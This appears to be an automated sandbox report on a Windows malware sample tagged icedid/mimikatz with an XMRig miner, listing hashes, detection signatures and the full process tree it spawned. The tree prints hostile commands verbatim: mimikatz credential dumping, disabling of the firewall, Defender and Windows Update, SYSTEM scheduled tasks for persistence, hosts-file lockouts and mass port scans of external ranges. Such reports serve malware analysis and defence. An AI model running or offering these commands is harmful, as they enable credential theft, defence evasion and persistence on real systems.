Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-04-2024 19:03

General

  • Target

    2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe

  • Size

    7.0MB

  • MD5

    b12657d84fcb58b883a63e6f4b8692fd

  • SHA1

    cc7257ea7bb7e4a18fd5ce8217b3822e94e4d0f9

  • SHA256

    0344ddf864cd1dd2f6339f5cbd34e52c514ac21603ca4baaececdbb30aad8bc5

  • SHA512

    1405c5f4a05b5bdc236eb043711083244944d65db8ce461553ae8f657ff49545c9796c3673e08ef81894a148ea7c36c6db177a552a4ef899559dc86ce2300000

  • SSDEEP

    196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Malware Config

Signatures

  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (30286) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • UPX dump on OEP (original entry point) 39 IoCs
  • XMRig Miner payload 12 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 4 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Sets file execution options in registry 2 TTPs 40 IoCs
  • Executes dropped EXE 27 IoCs
  • Loads dropped DLL 12 IoCs
  • UPX packed file 36 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates a Windows Service
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 3 IoCs
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 41 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:1740
      • C:\Windows\TEMP\hytabzqbl\tthale.exe
        "C:\Windows\TEMP\hytabzqbl\tthale.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1980
    • C:\Users\Admin\AppData\Local\Temp\2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4400
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\zhynsqya\tqetyef.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4428
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • Runs ping.exe
          PID:4432
        • C:\Windows\zhynsqya\tqetyef.exe
          C:\Windows\zhynsqya\tqetyef.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:836
    • C:\Windows\zhynsqya\tqetyef.exe
      C:\Windows\zhynsqya\tqetyef.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Sets file execution options in registry
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1676
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4644
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:948
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D users
            3⤵
              PID:1948
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
                PID:4000
              • C:\Windows\SysWOW64\cacls.exe
                cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                3⤵
                  PID:3844
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                    PID:3756
                  • C:\Windows\SysWOW64\cacls.exe
                    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                    3⤵
                      PID:3016
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static del all
                    2⤵
                      PID:2440
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add policy name=Bastards description=FuckingBastards
                      2⤵
                        PID:3760
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filteraction name=BastardsList action=block
                        2⤵
                          PID:4660
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c C:\Windows\wnzbtrurt\seaaiarll\wpcap.exe /S
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3020
                          • C:\Windows\wnzbtrurt\seaaiarll\wpcap.exe
                            C:\Windows\wnzbtrurt\seaaiarll\wpcap.exe /S
                            3⤵
                            • Drops file in Drivers directory
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Drops file in System32 directory
                            • Drops file in Program Files directory
                            • Suspicious use of WriteProcessMemory
                            PID:3848
                            • C:\Windows\SysWOW64\net.exe
                              net stop "Boundary Meter"
                              4⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1808
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop "Boundary Meter"
                                5⤵
                                  PID:2420
                              • C:\Windows\SysWOW64\net.exe
                                net stop "TrueSight Meter"
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4312
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop "TrueSight Meter"
                                  5⤵
                                    PID:4360
                                • C:\Windows\SysWOW64\net.exe
                                  net stop npf
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:1980
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 stop npf
                                    5⤵
                                      PID:1372
                                  • C:\Windows\SysWOW64\net.exe
                                    net start npf
                                    4⤵
                                      PID:4436
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 start npf
                                        5⤵
                                          PID:4368
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c net start npf
                                    2⤵
                                      PID:388
                                      • C:\Windows\SysWOW64\net.exe
                                        net start npf
                                        3⤵
                                          PID:2408
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 start npf
                                            4⤵
                                              PID:2092
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd /c net start npf
                                          2⤵
                                            PID:508
                                            • C:\Windows\SysWOW64\net.exe
                                              net start npf
                                              3⤵
                                                PID:3216
                                                • C:\Windows\SysWOW64\net1.exe
                                                  C:\Windows\system32\net1 start npf
                                                  4⤵
                                                    PID:4676
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c C:\Windows\wnzbtrurt\seaaiarll\gaslnkfba.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\wnzbtrurt\seaaiarll\Scant.txt
                                                2⤵
                                                  PID:1728
                                                  • C:\Windows\wnzbtrurt\seaaiarll\gaslnkfba.exe
                                                    C:\Windows\wnzbtrurt\seaaiarll\gaslnkfba.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\wnzbtrurt\seaaiarll\Scant.txt
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    PID:4428
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c C:\Windows\wnzbtrurt\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\wnzbtrurt\Corporate\log.txt
                                                  2⤵
                                                  • Drops file in Windows directory
                                                  PID:1772
                                                  • C:\Windows\wnzbtrurt\Corporate\vfshost.exe
                                                    C:\Windows\wnzbtrurt\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:4296
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "lhynpjgby" /ru system /tr "cmd /c C:\Windows\ime\tqetyef.exe"
                                                  2⤵
                                                    PID:1252
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                      3⤵
                                                        PID:3568
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        schtasks /create /sc minute /mo 1 /tn "lhynpjgby" /ru system /tr "cmd /c C:\Windows\ime\tqetyef.exe"
                                                        3⤵
                                                        • Creates scheduled task(s)
                                                        PID:5032
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "sqlesbfeu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\zhynsqya\tqetyef.exe /p everyone:F"
                                                      2⤵
                                                        PID:4164
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                          3⤵
                                                            PID:4048
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /sc minute /mo 1 /tn "sqlesbfeu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\zhynsqya\tqetyef.exe /p everyone:F"
                                                            3⤵
                                                            • Creates scheduled task(s)
                                                            PID:4756
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "zteuybstb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\hytabzqbl\tthale.exe /p everyone:F"
                                                          2⤵
                                                            PID:3352
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                              3⤵
                                                                PID:4708
                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                schtasks /create /sc minute /mo 1 /tn "zteuybstb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\hytabzqbl\tthale.exe /p everyone:F"
                                                                3⤵
                                                                • Creates scheduled task(s)
                                                                PID:5080
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                                                              2⤵
                                                                PID:2120
                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                                                                2⤵
                                                                  PID:3304
                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                                  2⤵
                                                                    PID:4696
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh ipsec static set policy name=Bastards assign=y
                                                                    2⤵
                                                                      PID:4360
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                                                                      2⤵
                                                                        PID:1692
                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                                                                        2⤵
                                                                          PID:2932
                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                          netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                                          2⤵
                                                                            PID:2780
                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                            netsh ipsec static set policy name=Bastards assign=y
                                                                            2⤵
                                                                              PID:3076
                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                                                                              2⤵
                                                                                PID:4332
                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                                                                                2⤵
                                                                                  PID:2660
                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                                                  2⤵
                                                                                    PID:536
                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                    netsh ipsec static set policy name=Bastards assign=y
                                                                                    2⤵
                                                                                      PID:3276
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      cmd /c net stop SharedAccess
                                                                                      2⤵
                                                                                        PID:1184
                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                          net stop SharedAccess
                                                                                          3⤵
                                                                                            PID:2812
                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                              C:\Windows\system32\net1 stop SharedAccess
                                                                                              4⤵
                                                                                                PID:632
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            cmd /c netsh firewall set opmode mode=disable
                                                                                            2⤵
                                                                                              PID:3696
                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                netsh firewall set opmode mode=disable
                                                                                                3⤵
                                                                                                • Modifies Windows Firewall
                                                                                                PID:2688
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd /c netsh Advfirewall set allprofiles state off
                                                                                              2⤵
                                                                                                PID:2404
                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                  netsh Advfirewall set allprofiles state off
                                                                                                  3⤵
                                                                                                  • Modifies Windows Firewall
                                                                                                  PID:4428
                                                                                              • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 788 C:\Windows\TEMP\wnzbtrurt\788.dmp
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4000
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                cmd /c net stop MpsSvc
                                                                                                2⤵
                                                                                                  PID:4940
                                                                                                  • C:\Windows\SysWOW64\net.exe
                                                                                                    net stop MpsSvc
                                                                                                    3⤵
                                                                                                      PID:1720
                                                                                                      • C:\Windows\SysWOW64\net1.exe
                                                                                                        C:\Windows\system32\net1 stop MpsSvc
                                                                                                        4⤵
                                                                                                          PID:4800
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd /c net stop WinDefend
                                                                                                      2⤵
                                                                                                        PID:5028
                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                          net stop WinDefend
                                                                                                          3⤵
                                                                                                            PID:1888
                                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                                              C:\Windows\system32\net1 stop WinDefend
                                                                                                              4⤵
                                                                                                                PID:3352
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            cmd /c net stop wuauserv
                                                                                                            2⤵
                                                                                                              PID:1896
                                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                                net stop wuauserv
                                                                                                                3⤵
                                                                                                                  PID:2064
                                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                                    C:\Windows\system32\net1 stop wuauserv
                                                                                                                    4⤵
                                                                                                                      PID:3220
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  cmd /c sc config MpsSvc start= disabled
                                                                                                                  2⤵
                                                                                                                    PID:5108
                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                      sc config MpsSvc start= disabled
                                                                                                                      3⤵
                                                                                                                      • Launches sc.exe
                                                                                                                      PID:2468
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    cmd /c sc config SharedAccess start= disabled
                                                                                                                    2⤵
                                                                                                                      PID:2244
                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                        sc config SharedAccess start= disabled
                                                                                                                        3⤵
                                                                                                                        • Launches sc.exe
                                                                                                                        PID:1808
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      cmd /c sc config WinDefend start= disabled
                                                                                                                      2⤵
                                                                                                                        PID:1520
                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                          sc config WinDefend start= disabled
                                                                                                                          3⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:2704
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        cmd /c sc config wuauserv start= disabled
                                                                                                                        2⤵
                                                                                                                          PID:4504
                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                            sc config wuauserv start= disabled
                                                                                                                            3⤵
                                                                                                                            • Launches sc.exe
                                                                                                                            PID:4296
                                                                                                                        • C:\Windows\TEMP\xohudmc.exe
                                                                                                                          C:\Windows\TEMP\xohudmc.exe
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Drops file in System32 directory
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:972
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 376 C:\Windows\TEMP\wnzbtrurt\376.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:4576
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 1740 C:\Windows\TEMP\wnzbtrurt\1740.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:3076
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 2624 C:\Windows\TEMP\wnzbtrurt\2624.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:3356
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 2868 C:\Windows\TEMP\wnzbtrurt\2868.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2608
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 784 C:\Windows\TEMP\wnzbtrurt\784.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:4064
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 3152 C:\Windows\TEMP\wnzbtrurt\3152.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:876
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 3744 C:\Windows\TEMP\wnzbtrurt\3744.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1688
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 3836 C:\Windows\TEMP\wnzbtrurt\3836.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:752
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 3900 C:\Windows\TEMP\wnzbtrurt\3900.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:4928
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 3984 C:\Windows\TEMP\wnzbtrurt\3984.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2772
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 4396 C:\Windows\TEMP\wnzbtrurt\4396.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2696
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 2788 C:\Windows\TEMP\wnzbtrurt\2788.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1560
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 4668 C:\Windows\TEMP\wnzbtrurt\4668.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2208
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 2060 C:\Windows\TEMP\wnzbtrurt\2060.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2408
                                                                                                                        • C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe
                                                                                                                          C:\Windows\TEMP\wnzbtrurt\beaheefbe.exe -accepteula -mp 4492 C:\Windows\TEMP\wnzbtrurt\4492.dmp
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1356
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd.exe /c C:\Windows\wnzbtrurt\seaaiarll\scan.bat
                                                                                                                          2⤵
                                                                                                                            PID:1060
                                                                                                                            • C:\Windows\wnzbtrurt\seaaiarll\jqhbazsun.exe
                                                                                                                              jqhbazsun.exe TCP 191.101.0.1 191.101.255.255 7001 512 /save
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Drops file in Windows directory
                                                                                                                              PID:1668
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                                                                                                            2⤵
                                                                                                                              PID:5324
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                3⤵
                                                                                                                                  PID:3652
                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                  cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                                                                                                                  3⤵
                                                                                                                                    PID:5860
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                    3⤵
                                                                                                                                      PID:5360
                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                                                                                                                      3⤵
                                                                                                                                        PID:5332
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                        3⤵
                                                                                                                                          PID:3768
                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                          cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                                                                                                                          3⤵
                                                                                                                                            PID:5292
                                                                                                                                      • C:\Windows\SysWOW64\fkjvgk.exe
                                                                                                                                        C:\Windows\SysWOW64\fkjvgk.exe
                                                                                                                                        1⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                        PID:2484
                                                                                                                                      • C:\Windows\system32\cmd.EXE
                                                                                                                                        C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\zhynsqya\tqetyef.exe /p everyone:F
                                                                                                                                        1⤵
                                                                                                                                          PID:1064
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                            2⤵
                                                                                                                                              PID:4288
                                                                                                                                            • C:\Windows\system32\cacls.exe
                                                                                                                                              cacls C:\Windows\zhynsqya\tqetyef.exe /p everyone:F
                                                                                                                                              2⤵
                                                                                                                                                PID:4740
                                                                                                                                            • C:\Windows\system32\cmd.EXE
                                                                                                                                              C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\hytabzqbl\tthale.exe /p everyone:F
                                                                                                                                              1⤵
                                                                                                                                                PID:4564
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4544
                                                                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                                                                    cacls C:\Windows\TEMP\hytabzqbl\tthale.exe /p everyone:F
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1272
                                                                                                                                                  • C:\Windows\system32\cmd.EXE
                                                                                                                                                    C:\Windows\system32\cmd.EXE /c C:\Windows\ime\tqetyef.exe
                                                                                                                                                    1⤵
                                                                                                                                                      PID:2352
                                                                                                                                                      • C:\Windows\ime\tqetyef.exe
                                                                                                                                                        C:\Windows\ime\tqetyef.exe
                                                                                                                                                        2⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                        PID:3832
                                                                                                                                                    • C:\Windows\system32\cmd.EXE
                                                                                                                                                      C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\zhynsqya\tqetyef.exe /p everyone:F
                                                                                                                                                      1⤵
                                                                                                                                                        PID:5480
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
